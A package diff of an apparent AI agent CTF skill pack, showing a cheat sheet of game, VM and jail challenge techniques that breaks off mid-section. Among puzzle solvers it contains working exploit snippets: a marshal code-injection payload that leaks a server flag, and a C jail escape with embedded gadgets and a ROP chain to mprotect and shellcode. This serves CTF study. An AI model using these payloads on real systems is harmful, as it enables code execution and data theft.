ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,690 @@
|
|
|
1
|
+
# CTF Misc - Games, VMs & Constraint Solving (Part 3)
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [memfd_create Packed Binaries](#memfd_create-packed-binaries)
|
|
5
|
+
- [Multi-Phase Interactive Crypto Game (EHAX 2026)](#multi-phase-interactive-crypto-game-ehax-2026)
|
|
6
|
+
- [Emulator ROM-Switching State Preservation (BSidesSF 2026)](#emulator-rom-switching-state-preservation-bsidessf-2026)
|
|
7
|
+
- [Python Marshal Code Injection (iCTF 2013)](#python-marshal-code-injection-ictf-2013)
|
|
8
|
+
- [Benford's Law Frequency Distribution Bypass (iCTF 2013)](#benfords-law-frequency-distribution-bypass-ictf-2013)
|
|
9
|
+
- [Parallel Connection Oracle Relay (Hack.lu 2015)](#parallel-connection-oracle-relay-hacklu-2015)
|
|
10
|
+
- [Nonogram Solver to QR Code Pipeline (SECCON 2015)](#nonogram-solver-to-qr-code-pipeline-seccon-2015)
|
|
11
|
+
- [100 Prisoners Problem / Cycle-Following Strategy (Sharif CTF 2016)](#100-prisoners-problem--cycle-following-strategy-sharif-ctf-2016)
|
|
12
|
+
- [C Code Jail Escape via Emoji Identifiers and Gadget Embedding (Midnight Flag 2026)](#c-code-jail-escape-via-emoji-identifiers-and-gadget-embedding-midnight-flag-2026)
|
|
13
|
+
- [Step 1: Integer construction from emoji](#step-1-integer-construction-from-emoji)
|
|
14
|
+
- [Step 2: Embed gadgets via add eax constant encoding](#step-2-embed-gadgets-via-add-eax-constant-encoding)
|
|
15
|
+
- [Step 3: Stack-based ROP via push rsp; pop rsi; syscall](#step-3-stack-based-rop-via-push-rsp-pop-rsi-syscall)
|
|
16
|
+
- [Step 4: ROP chain to mprotect + read + shellcode](#step-4-rop-chain-to-mprotect--read--shellcode)
|
|
17
|
+
- [Step 5: Shellcode with glob for unknown flag path](#step-5-shellcode-with-glob-for-unknown-flag-path)
|
|
18
|
+
- [BuildKit Daemon Exploitation for Build Secrets (BSidesSF 2026)](#buildkit-daemon-exploitation-for-build-secrets-bsidessf-2026)
|
|
19
|
+
- [Docker Container Escape Techniques](#docker-container-escape-techniques)
|
|
20
|
+
- [Privileged Container Breakout](#privileged-container-breakout)
|
|
21
|
+
- [Docker Socket Escape](#docker-socket-escape)
|
|
22
|
+
- [Capability-Based Escape (CAP_SYS_ADMIN)](#capability-based-escape-cap_sys_admin)
|
|
23
|
+
- [Container Information Leakage](#container-information-leakage)
|
|
24
|
+
- [15-Puzzle Solvability as Bit Encoder (SharifCTF 8)](#15-puzzle-solvability-as-bit-encoder-sharifctf-8)
|
|
25
|
+
- [Levenshtein Distance Oracle Attack (SunshineCTF 2016)](#levenshtein-distance-oracle-attack-sunshinectf-2016)
|
|
26
|
+
- [SECCOMP Bypass via High-Bit File Descriptor Trick (33C3 CTF 2016)](#seccomp-bypass-via-high-bit-file-descriptor-trick-33c3-ctf-2016)
|
|
27
|
+
- [rvim Jail Escape via Custom vimrc with Python3 Execution (BKP 2017)](#rvim-jail-escape-via-custom-vimrc-with-python3-execution-bkp-2017)
|
|
28
|
+
- [Restricted vim Escape via CTRL-W F and netrw File Browser (TokyoWesterns 2018)](#restricted-vim-escape-via-ctrl-w-f-and-netrw-file-browser-tokyowesterns-2018)
|
|
29
|
+
- [Taint Analysis Bypass in Custom Language via Type Coercion (PlaidCTF 2018)](#taint-analysis-bypass-in-custom-language-via-type-coercion-plaidctf-2018)
|
|
30
|
+
- [Shredded Document Pixel-Edge Reassembly Under Time Pressure (Nuit du Hack CTF 2018)](#shredded-document-pixel-edge-reassembly-under-time-pressure-nuit-du-hack-ctf-2018)
|
|
31
|
+
- [References](#references)
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## memfd_create Packed Binaries
|
|
36
|
+
|
|
37
|
+
```python
|
|
38
|
+
from Crypto.Cipher import ARC4
|
|
39
|
+
cipher = ARC4.new(b"key")
|
|
40
|
+
decrypted = cipher.decrypt(encrypted_data)
|
|
41
|
+
open("dumped", "wb").write(decrypted)
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
**Key insight:** Binaries using `memfd_create` execute payloads entirely in memory, leaving no file on disk. Intercept the decrypted payload before `fexecve` by hooking `memfd_create` or dumping `/proc/pid/fd/` entries, then analyze the dumped binary normally.
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
## Multi-Phase Interactive Crypto Game (EHAX 2026)
|
|
49
|
+
|
|
50
|
+
**Pattern (The Architect's Gambit):** Server presents a multi-phase challenge combining cryptography, game theory, and commitment-reveal protocols.
|
|
51
|
+
|
|
52
|
+
**Phase structure:**
|
|
53
|
+
1. **Phase 1 (AES-ECB decryption):** Decrypt pile values with provided key. Determine winner from game state.
|
|
54
|
+
2. **Phase 2 (AES-CBC with derived keys):** Keys derived via SHA-256 chain from Phase 1 results. Decrypt to get game parameters.
|
|
55
|
+
3. **Phase 3 (Interactive gameplay):** Play optimal moves in a combinatorial game, bound by commitment-reveal protocol.
|
|
56
|
+
|
|
57
|
+
**Commitment-reveal (HMAC binding):**
|
|
58
|
+
```python
|
|
59
|
+
import hmac, hashlib
|
|
60
|
+
|
|
61
|
+
def compute_binding_token(session_nonce, answer):
|
|
62
|
+
"""Server verifies your answer commitment before revealing result."""
|
|
63
|
+
message = f"answer:{answer}".encode()
|
|
64
|
+
return hmac.new(session_nonce, message, hashlib.sha256).hexdigest()
|
|
65
|
+
|
|
66
|
+
# Flow: send token first, then server reveals state, then send answer
|
|
67
|
+
# Server checks: HMAC(nonce, answer) == your_token
|
|
68
|
+
# Prevents changing your answer after seeing the state
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
**GF(2^8) arithmetic for game drain calculations:**
|
|
72
|
+
```python
|
|
73
|
+
# Galois Field GF(256) used in some game mechanics (Nim variants)
|
|
74
|
+
# Nim-value XOR determines winning/losing positions
|
|
75
|
+
|
|
76
|
+
def gf256_mul(a, b, poly=0x11b):
|
|
77
|
+
"""Multiply in GF(2^8) with irreducible polynomial."""
|
|
78
|
+
result = 0
|
|
79
|
+
while b:
|
|
80
|
+
if b & 1:
|
|
81
|
+
result ^= a
|
|
82
|
+
a <<= 1
|
|
83
|
+
if a & 0x100:
|
|
84
|
+
a ^= poly
|
|
85
|
+
b >>= 1
|
|
86
|
+
return result
|
|
87
|
+
|
|
88
|
+
# Nim game with GF(256) move rules:
|
|
89
|
+
# Position is losing if Nim-value (XOR of pile Grundy values) is 0
|
|
90
|
+
# Optimal move: find pile where removing stones makes XOR sum = 0
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
**Game tree memoization (C++ for performance):**
|
|
94
|
+
```python
|
|
95
|
+
# Python too slow for large state spaces — use C++ with memoization
|
|
96
|
+
# State compression: encode all pile sizes into single integer
|
|
97
|
+
# Cache: unordered_map<state_t, bool> for win/loss determination
|
|
98
|
+
|
|
99
|
+
# Python fallback for small games:
|
|
100
|
+
from functools import lru_cache
|
|
101
|
+
|
|
102
|
+
@lru_cache(maxsize=None)
|
|
103
|
+
def is_winning(state):
|
|
104
|
+
"""Returns True if current player can force a win."""
|
|
105
|
+
state = tuple(sorted(state)) # Normalize for caching
|
|
106
|
+
for move in generate_moves(state):
|
|
107
|
+
next_state = apply_move(state, move)
|
|
108
|
+
if not is_winning(next_state):
|
|
109
|
+
return True # Found a move that puts opponent in losing position
|
|
110
|
+
return False # All moves lead to opponent winning
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
**Key insights:**
|
|
114
|
+
- Multi-phase challenges require solving each phase sequentially — each phase's output feeds the next
|
|
115
|
+
- HMAC commitment-reveal prevents guessing; you must compute the correct answer
|
|
116
|
+
- GF(256) Nim variants require Sprague-Grundy theory, not brute force
|
|
117
|
+
- When Python recursion is too slow (>10s), rewrite game solver in C++ with state compression and memoization
|
|
118
|
+
|
|
119
|
+
---
|
|
120
|
+
|
|
121
|
+
## Emulator ROM-Switching State Preservation (BSidesSF 2026)
|
|
122
|
+
|
|
123
|
+
**Pattern (wromwarp):** In emulator debuggers, the `/load` command may replace only the ROM program while preserving CPU state (registers, RAM, program counter). By switching between ROMs at specific PC values, you can execute arbitrary instruction sequences using instructions from different programs.
|
|
124
|
+
|
|
125
|
+
**Key insight:** When a new ROM is loaded via the emulator's debug interface, the CPU state (registers, RAM, PC) remains unchanged. Only the program memory (ROM) is replaced. This means:
|
|
126
|
+
- If ROM A has loaded secret data into RAM at certain addresses
|
|
127
|
+
- And ROM B has a `display` instruction at the same PC where ROM A's execution paused
|
|
128
|
+
- Loading ROM B at that point causes the CPU to execute ROM B's instruction (display) using ROM A's data (the secret)
|
|
129
|
+
|
|
130
|
+
**Exploit workflow:**
|
|
131
|
+
```text
|
|
132
|
+
1. Load ROM_A (contains INIT that loads secret into RAM)
|
|
133
|
+
2. Step through ROM_A until secret data is in RAM
|
|
134
|
+
3. Note the current PC value
|
|
135
|
+
4. /load ROM_B (PC, registers, RAM all preserved)
|
|
136
|
+
5. ROM_B has a "display memory" instruction at the current PC
|
|
137
|
+
6. Step → executes ROM_B's display instruction, showing ROM_A's secret data
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
**Practical example:**
|
|
141
|
+
```python
|
|
142
|
+
from pwn import *
|
|
143
|
+
|
|
144
|
+
p = remote('target', port)
|
|
145
|
+
|
|
146
|
+
# Load first ROM that initializes secret data
|
|
147
|
+
p.sendlineafter('> ', '/load rom_init.bin')
|
|
148
|
+
# Step until secret is in memory (determined by analysis)
|
|
149
|
+
for _ in range(42):
|
|
150
|
+
p.sendlineafter('> ', '/step')
|
|
151
|
+
|
|
152
|
+
# Switch to ROM that displays memory at current PC
|
|
153
|
+
p.sendlineafter('> ', '/load rom_display.bin')
|
|
154
|
+
p.sendlineafter('> ', '/step')
|
|
155
|
+
|
|
156
|
+
# Read the leaked secret
|
|
157
|
+
flag = p.recvline().strip()
|
|
158
|
+
print(f"Flag: {flag}")
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
**When to recognize:**
|
|
162
|
+
- Emulator/debugger challenge with `/load`, `/step`, `/run`, `/dump` commands
|
|
163
|
+
- Multiple ROM files provided
|
|
164
|
+
- One ROM initializes protected memory, another has display/output capabilities
|
|
165
|
+
- Challenge mentions "ROM switching", "hot swap", or "state preservation"
|
|
166
|
+
|
|
167
|
+
**Key lessons:**
|
|
168
|
+
- Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability
|
|
169
|
+
- Combine instructions from different programs by loading them at the right PC values
|
|
170
|
+
- Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions
|
|
171
|
+
|
|
172
|
+
**References:** BSidesSF 2026 "wromwarp"
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Python Marshal Code Injection (iCTF 2013)
|
|
177
|
+
|
|
178
|
+
**Pattern:** Server deserializes base64-encoded `marshal` data and executes it as a Python function. Inject arbitrary code via serialized function code objects.
|
|
179
|
+
|
|
180
|
+
```python
|
|
181
|
+
import marshal, types, base64
|
|
182
|
+
|
|
183
|
+
# Craft payload function that exfiltrates data over the socket
|
|
184
|
+
payload = lambda sock: sock.send(globals()['flag'].encode())
|
|
185
|
+
|
|
186
|
+
# Serialize the function's code object
|
|
187
|
+
serialized = base64.b64encode(marshal.dumps(payload.__code__)).decode()
|
|
188
|
+
|
|
189
|
+
# Server-side execution pattern:
|
|
190
|
+
# func = types.FunctionType(marshal.loads(base64.b64decode(data)), globals())
|
|
191
|
+
# func(client_socket)
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
**Key insight:** `marshal.loads()` is as dangerous as `pickle.loads()` — it deserializes arbitrary Python code objects. Unlike pickle, marshal is rarely sandboxed. The injected function runs with access to the server's `globals()`, enabling flag exfiltration via the socket connection.
|
|
195
|
+
|
|
196
|
+
---
|
|
197
|
+
|
|
198
|
+
## Benford's Law Frequency Distribution Bypass (iCTF 2013)
|
|
199
|
+
|
|
200
|
+
**Pattern:** Server validates that input digit frequency matches Benford's Law distribution (+-5% tolerance). Craft input with correct digit distribution to pass the check.
|
|
201
|
+
|
|
202
|
+
```python
|
|
203
|
+
import random
|
|
204
|
+
|
|
205
|
+
# Benford's Law: P(d) = log10(1 + 1/d) for leading digit d (1-9)
|
|
206
|
+
benford = {d: round(100 * (1 + 1/d) / sum(1/i for i in range(1,10))) for d in range(1,10)}
|
|
207
|
+
# Approx: 1→30%, 2→18%, 3→12%, 4→10%, 5→8%, 6→7%, 7→6%, 8→5%, 9→5%
|
|
208
|
+
|
|
209
|
+
def generate_benford_compliant(length=1000):
|
|
210
|
+
digits = []
|
|
211
|
+
for d, pct in benford.items():
|
|
212
|
+
digits.extend([str(d)] * int(length * pct / 100))
|
|
213
|
+
random.shuffle(digits)
|
|
214
|
+
return ''.join(digits[:length])
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
**Key insight:** Benford's Law describes the frequency of leading digits in naturally occurring datasets. If a service validates digit distribution, generate compliant input rather than random numbers. Tolerance is typically +-5%, so approximate percentages work.
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## Parallel Connection Oracle Relay (Hack.lu 2015)
|
|
222
|
+
|
|
223
|
+
When a server generates deterministic sequences and provides feedback, exploit multiple simultaneous connections to share answers:
|
|
224
|
+
|
|
225
|
+
1. Open N+1 connections with identical timing (same PRNG seed)
|
|
226
|
+
2. Sacrifice one connection per round to discover the correct answer
|
|
227
|
+
3. Relay discovered answer to remaining connections via synchronization
|
|
228
|
+
|
|
229
|
+
```python
|
|
230
|
+
import threading
|
|
231
|
+
|
|
232
|
+
NUM_CONNECTIONS = 101
|
|
233
|
+
barriers = [threading.Barrier(NUM_CONNECTIONS - i) for i in range(100)]
|
|
234
|
+
correct_answers = [None] * 100
|
|
235
|
+
|
|
236
|
+
def worker(index, sock):
|
|
237
|
+
for round_num in range(100):
|
|
238
|
+
barriers[round_num].wait() # Synchronize all threads
|
|
239
|
+
|
|
240
|
+
if index == round_num:
|
|
241
|
+
# This thread sacrifices itself to probe
|
|
242
|
+
for guess in range(100):
|
|
243
|
+
sock.send(str(guess).encode())
|
|
244
|
+
response = sock.recv(1024)
|
|
245
|
+
if b'correct' in response:
|
|
246
|
+
correct_answers[round_num] = guess
|
|
247
|
+
break
|
|
248
|
+
else:
|
|
249
|
+
# Wait for oracle thread to find answer
|
|
250
|
+
barriers[round_num].wait()
|
|
251
|
+
sock.send(str(correct_answers[round_num]).encode())
|
|
252
|
+
|
|
253
|
+
threads = [threading.Thread(target=worker, args=(i, connections[i])) for i in range(NUM_CONNECTIONS)]
|
|
254
|
+
for t in threads: t.start()
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
**Key insight:** Works against any service where multiple connections share state (same PRNG seed from identical connection times). The sacrifice pattern ensures at least one connection survives all rounds.
|
|
258
|
+
|
|
259
|
+
---
|
|
260
|
+
|
|
261
|
+
## Nonogram Solver to QR Code Pipeline (SECCON 2015)
|
|
262
|
+
|
|
263
|
+
Automate solving nonogram puzzles that produce QR codes:
|
|
264
|
+
|
|
265
|
+
1. **Parse constraints** from web interface (BeautifulSoup for HTML tables)
|
|
266
|
+
2. **Solve nonogram** using external solver or constraint propagation
|
|
267
|
+
3. **Render to image** and decode QR
|
|
268
|
+
|
|
269
|
+
```python
|
|
270
|
+
from PIL import Image
|
|
271
|
+
import subprocess, qrtools
|
|
272
|
+
|
|
273
|
+
# Parse row/column constraints from HTML
|
|
274
|
+
rows = parse_constraints(html, 'rows') # [[3,1], [2,2], ...]
|
|
275
|
+
cols = parse_constraints(html, 'cols')
|
|
276
|
+
|
|
277
|
+
# Feed to nonogram solver (e.g., nonogram-0.9)
|
|
278
|
+
solver_input = format_for_solver(rows, cols)
|
|
279
|
+
result = subprocess.run(['./nonogram'], input=solver_input, capture_output=True)
|
|
280
|
+
|
|
281
|
+
# Convert text grid to QR image
|
|
282
|
+
grid = parse_solver_output(result.stdout)
|
|
283
|
+
cell_size = 10
|
|
284
|
+
img = Image.new('RGB', (len(grid[0]) * cell_size, len(grid) * cell_size), 'white')
|
|
285
|
+
# Draw black cells where grid == '#'
|
|
286
|
+
|
|
287
|
+
# Decode QR
|
|
288
|
+
qr = qrtools.QR()
|
|
289
|
+
qr.decode('qrcode.png')
|
|
290
|
+
answer = qr.data
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
**Key insight:** Nonogram solvers are available as command-line tools. The key challenge is parsing the web interface and converting output to a valid QR image. Add quiet zones (white border) around the QR for reliable decoding.
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## 100 Prisoners Problem / Cycle-Following Strategy (Sharif CTF 2016)
|
|
298
|
+
|
|
299
|
+
The classic 100 prisoners problem appears in CTF challenges as an "impossible" probability game:
|
|
300
|
+
|
|
301
|
+
- N prisoners each open N/2 boxes looking for their number
|
|
302
|
+
- All must succeed for the group to win
|
|
303
|
+
- Optimal strategy: follow permutation cycles (success rate ~31%)
|
|
304
|
+
|
|
305
|
+
```python
|
|
306
|
+
def solve_prisoners(boxes):
|
|
307
|
+
"""Follow cycle starting from own number"""
|
|
308
|
+
N = len(boxes)
|
|
309
|
+
results = []
|
|
310
|
+
for prisoner in range(N):
|
|
311
|
+
current = prisoner
|
|
312
|
+
found = False
|
|
313
|
+
for _ in range(N // 2):
|
|
314
|
+
if boxes[current] == prisoner:
|
|
315
|
+
found = True
|
|
316
|
+
break
|
|
317
|
+
current = boxes[current] # Follow the cycle
|
|
318
|
+
results.append(found)
|
|
319
|
+
return all(results)
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
**Key insight:** Random strategy succeeds with probability (1/2)^N ≈ 0. Cycle-following succeeds with probability 1 - ln(2) ≈ 0.3069 for large N. The game fails only if any cycle exceeds length N/2. Pre-check cycle lengths if the box arrangement is known.
|
|
323
|
+
|
|
324
|
+
---
|
|
325
|
+
|
|
326
|
+
## C Code Jail Escape via Emoji Identifiers and Gadget Embedding (Midnight Flag 2026)
|
|
327
|
+
|
|
328
|
+
Escape a C code jail that bans all alphanumeric characters, whitespace, and most operators by using GCC's Unicode identifier support and embedding machine code gadgets inside arithmetic constants.
|
|
329
|
+
|
|
330
|
+
**Constraints:** Only `(){}[];,=.+*%@#~` and emoji allowed. No letters, digits, whitespace, quotes, or `?&!|$<>^:/-`.
|
|
331
|
+
|
|
332
|
+
### Step 1: Integer construction from emoji
|
|
333
|
+
|
|
334
|
+
GCC allows emoji / extended Unicode characters as identifiers. `(VAR==VAR)` (e.g., using `\U0001F603`) is compile-time constant `1`. Build any integer via addition and multiplication:
|
|
335
|
+
|
|
336
|
+
```c
|
|
337
|
+
// Building 15: 3 * (2*2 + 1) using self-equality (VAR==VAR) => 1
|
|
338
|
+
((VAR==VAR)+(VAR==VAR)+(VAR==VAR))*(((VAR==VAR)+(VAR==VAR))*((VAR==VAR)+(VAR==VAR))+(VAR==VAR))
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
### Step 2: Embed gadgets via add eax constant encoding
|
|
342
|
+
|
|
343
|
+
At `-O0`, `var = var + CONSTANT` compiles to `05 XX XX XX XX` (add eax, imm32). Jump to offset+1 to execute the constant bytes as instructions:
|
|
344
|
+
|
|
345
|
+
| Target bytes | Instruction | Constant (decimal) |
|
|
346
|
+
|---|---|---|
|
|
347
|
+
| `0f 05 c3` | syscall; ret | 12780815 |
|
|
348
|
+
| `58 c3` | pop rax; ret | 50008 |
|
|
349
|
+
| `5f c3` | pop rdi; ret | 50015 |
|
|
350
|
+
| `5a c3` | pop rdx; ret | 50010 |
|
|
351
|
+
| `5e c3` | pop rsi; ret | 50014 |
|
|
352
|
+
| `54 5e 0f 05` | push rsp; pop rsi; syscall | 84893268 |
|
|
353
|
+
|
|
354
|
+
```c
|
|
355
|
+
// Each gadget function embeds one instruction sequence (e.g. using emoji identifier in source):
|
|
356
|
+
fn_gadget(){var_gadget=var_gadget+<12780815_as_expr>;} // syscall; ret at fn_gadget+15
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
### Step 3: Stack-based ROP via push rsp; pop rsi; syscall
|
|
360
|
+
|
|
361
|
+
Call the `push rsp; pop rsi; syscall` gadget with `sys_read` args to write a ROP chain directly to the stack return address:
|
|
362
|
+
|
|
363
|
+
```c
|
|
364
|
+
// (gadget_func + 15)(stdin=0, buf=ignored_rsp_used, len=4096)
|
|
365
|
+
fn_main(){(fn_gadget+<15_expr>)(arg1,arg2,<4096_expr>);}
|
|
366
|
+
```
|
|
367
|
+
|
|
368
|
+
The `push rsp` captures the return address location, `pop rsi` sets it as the read buffer, then `syscall` reads attacker input onto the stack.
|
|
369
|
+
|
|
370
|
+
### Step 4: ROP chain to mprotect + read + shellcode
|
|
371
|
+
|
|
372
|
+
```python
|
|
373
|
+
from pwn import *
|
|
374
|
+
|
|
375
|
+
rop = flat([
|
|
376
|
+
0xdeadbeef, # consumed by pop rbp
|
|
377
|
+
POP_RAX, 10, # sys_mprotect
|
|
378
|
+
POP_RDI, 0x404000,
|
|
379
|
+
POP_RSI, 0x2000,
|
|
380
|
+
POP_RDX, 7, # PROT_READ|WRITE|EXEC
|
|
381
|
+
SYSCALL_RET,
|
|
382
|
+
POP_RAX, 0, # sys_read
|
|
383
|
+
POP_RDI, 0, # stdin
|
|
384
|
+
POP_RSI, 0x404020,
|
|
385
|
+
POP_RDX, 0x200,
|
|
386
|
+
SYSCALL_RET,
|
|
387
|
+
0x404020, # jump to shellcode
|
|
388
|
+
])
|
|
389
|
+
```
|
|
390
|
+
|
|
391
|
+
### Step 5: Shellcode with glob for unknown flag path
|
|
392
|
+
|
|
393
|
+
```python
|
|
